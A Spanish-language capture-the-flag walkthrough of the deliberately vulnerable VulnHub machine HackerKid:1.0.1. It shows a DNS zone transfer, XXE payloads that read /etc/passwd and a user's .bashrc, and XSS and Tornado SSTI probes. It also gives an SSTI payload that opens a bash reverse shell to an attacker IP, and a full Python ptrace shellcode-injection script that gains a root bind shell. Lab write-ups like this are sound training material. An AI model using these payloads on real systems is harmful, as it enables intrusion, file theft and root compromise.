HackerKid:1.0.1 VulnHub
Introducción
En esta máquina de VulnHub, HackerKid:1.0.1, realizaremos una auditoría de seguridad centrada principalmente en vulnerabilidades del lado web: partiremos de una fase de reconocimiento y enumeración de servicios DNS y HTTP, donde aprovecharemos un AXFR - Full Zone Transfer mal configurado para descubrir subdominios ocultos. A partir de ahí, encadenaremos una XXE Injection para filtrar archivos sensibles del sistema, y validaremos que la aplicación también es vulnerable a XSS y SSTI en un servidor Tornado, lo que nos permitirá ejecutar comandos y ganar acceso inicial a la máquina. Finalmente, abordaremos la escalada de privilegios abusando de una capability poco común, cap_sys_ptrace+ep, para inyectar shellcode en un proceso con privilegios de root.
Por la variedad de vulnerabilidades web que combina (XXE, XSS, SSTI) y la técnica de escalada final, esta máquina es un buen ejercicio práctico de cara a certificaciones orientadas a aplicaciones web como la eWPT o la OSWE, además de reforzar fundamentos útiles para la OSCP.
Fase de reconocimiento
Identificación de objetivo en la red
1
arp-scan -I enp0s3 --localnet --ignoredups
1
ping -c 1 10.0.2.21
Le lanzamos un ping y logramos determinar que la máquina víctima está encendida. A mayores, gracias al TTL podemos identificar como atacantes que estamos ante una máquina Linux, ya que generalmente Linux (TTL → 64) | Windows (TTL → 128) son los valores comunes si no han sido modificados.
Escaneo de puertos
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.21 -oN allPorts
1
grep '^[1-9]' allPorts | cut -d '/' -f1 | xargs | sort | tr ' ' ','
1
nmap -p53,80,9999 -sCV 10.0.2.21 -oN targeted
Tras el escaneo descubrimos varios puertos abiertos, entre ellos el puerto 53 correspondiente al servicio DNS, el puerto 80 con un servicio HTTP y el puerto 9999 con otro servicio HTTP.
Enumeración
Enumeración de servicio HTTP
Puerto 80
1
whatweb http://10.0.2.21
1
nmap -p80 --script http-enum 10.0.2.21 -oN webScan
De primeras no hay nada destacable, vamos a acceder a través del navegador al servicio web.
Encontramos esta web con las pestañas de arriba que son atrezzo y la cita “More you will DIG me, more you will find me on your servers..DIG me more…DIG me more”, una pista que hace referencia al comando dig. Esto, sumado a que tiene el puerto 53 abierto correspondiente al servicio DNS, nos debe hacer pensar en un posible AXFR - Full Zone Transfer o ataque de transferencia de zona para enumerar todos sus registros DNS, pero aún nos falta un dominio para tratar de ejecutarlo.
Revisando el código fuente de la página web encontramos el siguiente comentario:
Nos dice que, mediante el método GET, podemos usar el parámetro “page_no” para mirar las páginas; podemos probar esto:
1
http://10.0.2.21?page_no=1
Tras acceder a esa página nos sale ese mensaje a pie de página, vamos a seguir probando páginas.
1
http://10.0.2.21?page_no=2
Nos sale el mismo mensaje a pie de página; en este punto lo inteligente sería fuzzear con wfuzz o gobuster y, en función de las respuestas, ir viendo qué página es más interesante echarle un ojo. Para esto podemos:
1
wfuzz -c --hh=3654 -t 200 -z range,1-10000 'http://10.0.2.21/?page_no=FUZZ'
Vemos que para el número 21 como valor de parámetro la respuesta es distinta a todas las demás, vamos a echar un vistazo.
Encontramos ese mensaje a pie de página en el que se nos facilita un dominio “blackhat.local” y un subdominio “hackers.blackhat.local”; esto debemos añadirlo a nuestro archivo /etc/hosts para que nuestra máquina lo resuelva.
Una vez hecho, podríamos utilizar este dominio y subdominio.
Puerto 9999
Encontramos un panel de login. Si nos fijamos en el escaneo de nmap, nos reporta que está desplegado un servidor Tornado en su versión 6.1, vamos a investigar sobre esto.
Tornado
Tornado es una biblioteca de Python que funciona como servidor HTTP y framework web asíncrono. Permite crear aplicaciones web y APIs capaces de gestionar múltiples conexiones simultáneas de forma eficiente, sin bloquear el servidor durante operaciones de entrada/salida. Es especialmente útil para aplicaciones en tiempo real y conexiones persistentes mediante WebSockets.
Podríamos probar varias cosas como SQLI, NoSQLI, Inyecciones XPath… pero vamos a tratar de enumerar el servicio DNS antes.
Enumeración de servicio DNS
Para enumerar el servicio DNS podemos tratar de efectuar un ataque de transferencia de zona (AXFR - Full Zone Transfer) y, en caso de que sea vulnerable, obtendríamos información sensible sobre los dominios de una organización.
Pero antes de eso vamos simplemente a realizar la siguiente consulta DNS:
1
dig @10.0.2.21 blackhat.local
No muestra nada, vamos a indicarle que queremos enumerar los name servers:
1
dig @10.0.2.21 blackhat.local ns
Los servidores de correo:
1
dig @10.0.2.21 blackhat.local mx
De momento no parece que haya ningún subdominio interesante, vamos a tratar de hacer un ataque de transferencia de zona para verificar si está bien configurado o no este servidor DNS y aprovecharnos de ello:
AXFR Full Zone Transfer
1
dig @10.0.2.21 blackhat.local axfr
Bien, de esta forma logramos obtener otro subdominio que podemos añadir a nuestro /etc/hosts y que parece que puede mostrar un contenido distinto al resto de dominios de la web.
Una vez hecho, podemos acceder a través del navegador a la web asociada a este subdominio y ver su contenido.
Encontramos un panel de registro. Vamos a interceptar esta petición con Burp Suite a ver cómo se tramita por detrás:
Viendo que por detrás estamos tramitando una estructura en XML, lo primero que debemos pensar como atacantes es una posible XXE Injection, vamos a probar si es vulnerable o no.
Explotación
XXE Injection
La idea principal de esta vulnerabilidad es aprovecharse de la interpretación XML para lograr listar información privilegiada de la máquina víctima a través de entidades o etiquetas maliciosas.
En la respuesta vemos que se está validando el campo “email”; sabiendo esto, podríamos comprobar si es vulnerable haciendo uso de entidades de la siguiente manera:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<root>
<n>
rg4rrido
</n>
<tel>
123456789
</tel>
<email>
&myFile;
</email>
<password>
rg4rrido123
</password>
</root>
De esta forma, haciendo uso de entidades externas y wrappers (file://), vemos que nos muestra el contenido del archivo /etc/passwd de la máquina víctima. Por lo tanto, confirmamos que es vulnerable a XXE Injection y descubrimos el usuario “saket”.
En este punto vamos a aprovecharnos de esta vulnerabilidad para enumerar archivos de configuración de la máquina, al igual que haríamos con un LFI: podríamos enumerar /proc/net/fib_trie, /proc/net/tcp, /proc/sched_debug… Pero en este caso, ya que hay un servicio Apache2 corriendo, lo que tiene más sentido es tratar de listar el contenido de su típico archivo de configuración, /etc/apache2/sites-available/000-default.conf:
Vemos que no nos muestra nada; esto sucede a veces y puede ser por el tamaño del archivo u otros factores. Como segundo intento, podríamos tratar de utilizar otro wrapper para representar de otra manera el contenido del archivo y ver si así podemos listarlo.
Wrapper base64 encode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-available/000-default.conf">]>
<root>
<n>
rg4rrido
</n>
<tel>
123456789
</tel>
<email>
&myFile;
</email>
<password>
rg4rrido123
</password>
</root>
De esta manera representaríamos el contenido del archivo en base64 y tenemos más suerte.
Efectivamente, de esta forma logramos obtener el contenido del archivo; quedaría decodificarlo:
1
echo -n "PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gd2VibWFzdGVyQGxvY2FsaG9zdAoJRG9jdW1lbnRSb290IC92YXIvd3d3L2h0bWwKCgkjIEF2YWlsYWJsZSBsb2dsZXZlbHM6IHRyYWNlOCwgLi4uLCB0cmFjZTEsIGRlYnVnLCBpbmZvLCBub3RpY2UsIHdhcm4sCgkjIGVycm9yLCBjcml0LCBhbGVydCwgZW1lcmcuCgkjIEl0IGlzIGFsc28gcG9zc2libGUgdG8gY29uZmlndXJlIHRoZSBsb2dsZXZlbCBmb3IgcGFydGljdWxhcgoJIyBtb2R1bGVzLCBlLmcuCgkjTG9nTGV2ZWwgaW5mbyBzc2w6d2FybgoKCUVycm9yTG9nICR7QVBBQ0hFX0xPR19ESVJ9L2Vycm9yLmxvZwoJQ3VzdG9tTG9nICR7QVBBQ0hFX0xPR19ESVJ9L2FjY2Vzcy5sb2cgY29tYmluZWQKCgkjIEZvciBtb3N0IGNvbmZpZ3VyYXRpb24gZmlsZXMgZnJvbSBjb25mLWF2YWlsYWJsZS8sIHdoaWNoIGFyZQoJIyBlbmFibGVkIG9yIGRpc2FibGVkIGF0IGEgZ2xvYmFsIGxldmVsLCBpdCBpcyBwb3NzaWJsZSB0bwoJIyBpbmNsdWRlIGEgbGluZSBmb3Igb25seSBvbmUgcGFydGljdWxhciB2aXJ0dWFsIGhvc3QuIEZvciBleGFtcGxlIHRoZQoJIyBmb2xsb3dpbmcgbGluZSBlbmFibGVzIHRoZSBDR0kgY29uZmlndXJhdGlvbiBmb3IgdGhpcyBob3N0IG9ubHkKCSMgYWZ0ZXIgaXQgaGFzIGJlZW4gZ2xvYmFsbHkgZGlzYWJsZWQgd2l0aCAiYTJkaXNjb25mIi4KCSNJbmNsdWRlIGNvbmYtYXZhaWxhYmxlL3NlcnZlLWNnaS1iaW4uY29uZgo8L1ZpcnR1YWxIb3N0PgoKIyB2aW06IHN5bnRheD1hcGFjaGUgdHM9NCBzdz00IHN0cz00IHNyIG5vZXQK" | base64 -d; echo
En este caso no encontramos nada destacable, pero ya sabemos que es mejor representar los archivos potencialmente extensos jugando con este wrapper para codificar en base64, por lo que podemos enumerar mejor los archivos. Otro archivo al que podríamos tratar de echar un vistazo es al .bashrc del usuario saket, para tratar de ver configuraciones:
1
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
Conseguimos listar el contenido en base64, vamos a decodificarlo y echarle un ojo.
1
echo -n "cadenaBase64" | base64 -d; echo
Y bingo, al final del archivo encontramos unas credenciales para la “python app” que, si recordamos, en el puerto 9999 tenemos un panel de login y un servidor Tornado corriendo… Por lo que vamos a probarlas:
Nos muestra error, podríamos probar con el usuario “saket”, que es el otro válido que descubrimos para la máquina.
Y con el usuario “saket” sí que parece que conseguimos iniciar sesión. Encontramos esa web que nos pregunta cómo puede saber quiénes somos, por lo que de alguna forma vamos a tener que tramitar una solicitud para darle nuestro nombre. Si vamos a lo fácil, pasándole un parámetro en la URL:
1
http://hackers.blackhat.local:9999/?name=test
Nos muestra “Hello test”, tomando “test” del input que le pasamos en el parámetro.
XSS (Cross-Site Scripting)
Como tenemos control sobre el input que se muestra en la web, podemos probar a ver si tiene lugar un XSS y nos interpreta código html o javascript:
1
http://hackers.blackhat.local:9999/?name=<h1>PWNED</h1>
Parece que sí nos interpreta las etiquetas en html; para cerciorarnos, podríamos hacer la prueba con código javascript:
1
http://hackers.blackhat.local:9999/?name=<script>alert("XSS")</script>
Y efectivamente, con esto confirmamos que la web es vulnerable a XSS.
SSTI (Server-Side Template Injection)
Recordemos que esta web está levantada con el servicio Tornado, que sirve para ejecutar aplicaciones en Python; sabiendo esto, podríamos probar si es vulnerable a SSTI:
1
http://hackers.blackhat.local:9999/?name={{7*7}}
A priori parece que es vulnerable e interpreta el código Python; sabiendo que es vulnerable a estas dos vulnerabilidades, podemos idear un vector de ataque para conseguir una intrusión en la máquina víctima.
Como es vulnerable a SSTI, podríamos tratar de ejecutar comandos consultando en HackTricks la forma de hacerlo en servidores Tornado, por ejemplo encontramos:
Viendo esto, podríamos probar:
1
http://hackers.blackhat.local:9999/?name={% import os %}{{os.system('whoami')}}
Nos devuelve “Hello 0”, esto tiene toda la pinta de mostrar el código de estado del comando ejecutado, por lo que podemos asumir que se está ejecutando el comando.
Entablando Reverse Shell
En este punto vamos a tratar de recibir una reverse shell desde la máquina víctima…
1
http://hackers.blackhat.local:9999/?name={%%20import%20os%20%}{{os.system(%27bash -c "bash -i >%26 /dev/tcp/10.0.2.13/443 0>%261"%27)}}
1
nc -nlvp 443 # nos ponemos en escucha en nuestra máquina atacante
De esta forma ganamos acceso a la máquina víctima. Antes de empezar con la enumeración local vamos a aplicar un tratamiento de la TTY.
Tratamiento de la TTY
1
2
3
4
5
6
script /dev/null -c bash
# ctrl + z
stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=bash
stty rows 53 columns 206
Escalada de privilegios
Enumeración local
1
id
Vemos que el usuario saket pertenece a varios grupos potencialmente peligrosos para escalar privilegios, entre ellos el grupo adm (permite leer ciertos archivos de logs de la máquina), sudo y lxd, con el cual se puede llegar a jugar con contenedores y montajes para escalar privilegios dependiendo de la versión.
1
searchsploit lxd
Como dato curioso de este exploit, cabe destacar que sus autores fueron s4vitar y un compañero suyo.
Ahí tenemos el script del exploit para Ubuntu 18.04, pero en este caso la máquina víctima es un Ubuntu 20.04.2 LTS.
1
find / -perm -4000 2>/dev/null | grep -v snap
Buscando por binarios suid, quitando pkexec (que no escalaremos privilegios abusando de él), no encontramos nada interesante de lo que tirar.
1
getcap -r / 2>/dev/null
De primeras esto no nos muestra ningún output; esto llama la atención, ya que es un binario que viene de serie en distribuciones Linux. Echando un vistazo al mensaje de error vemos:
El binario getcap está en /usr/sbin/getcap y en nuestro PATH únicamente se contemplan dos rutas, entre las que no está la de getcap, por lo que lo recomendable es copiar el PATH de nuestra máquina atacante y utilizarlo en la víctima.
1
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/sbin
De esta forma:
Ya podemos ejecutar el comando. Si nos fijamos, debería llamarnos la atención que el binario python2.7 tiene asignada la capability cap_sys_ptrace+ep; vamos a ver de qué trata esta capability realizando una búsqueda en internet: “cap_sys_ptrace+ep que es?”.
Con esa búsqueda ya encontramos esta web que habla de una escalada de privilegios abusando de esta capability para el binario gdb; en nuestro caso es python2.7, pero igualmente vamos a echarle un vistazo. Realizando una búsqueda más concreta, encontramos el siguiente recurso que aplica a nuestro caso a la perfección. Igualmente, si buscamos esta capability en HackTricks, encontramos otro artículo explicando el proceso de escalada de privilegios.
Abuso de capabilities (cap_sys_ptrace+ep)
La idea principal de esta escalada es que esta capability nos permite “sincronizarnos” con un proceso de la máquina que detectemos que está corriendo con privilegios de usuario root, para inyectar shellcode malicioso y utilizar una bind shell a la que nos conectaremos posteriormente desde nuestra máquina atacante para ganar acceso como root.
Bien, una vez sepamos lo que vamos a hacer, podemos ir siguiendo el artículo y adaptando los pasos a nuestro escenario; lo primero sería encontrar un proceso que corra con privilegios de root al que sincronizarnos para inyectar nuestro shellcode.
1
ps -faux | grep apache2
Encontramos el proceso de apache2 con pid 723, que será el que utilicemos para esta labor. Por otro lado, necesitamos un script de python2.7 para escalar privilegios, que se nos facilita en el artículo de HackTricks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
Esto lo copiamos y pegamos en un script en la carpeta /tmp, por ejemplo. Al ejecutarlo veremos que nos pide que le pasemos un argumento correspondiente al pid del proceso con el que queremos sincronizarnos para inyectar nuestro shellcode:
Una vez le pasemos el pid del proceso que corre con privilegios de root, para que las instrucciones que inyectemos con nuestro shellcode se ejecuten bajo estos privilegios, lo que hará será abrir el puerto 5600 de la máquina víctima para que podamos conectarnos desde nuestra máquina atacante, logrando así una consola como root.
1
python2.7 exploit.py 723
Una vez hecho, ya podemos conectarnos al puerto 5600 para ganar acceso como usuario root.
1
nc 10.0.2.21 5600
De esta manera habríamos completado la máquina HackerKid:1.0.1 de VulnHub!!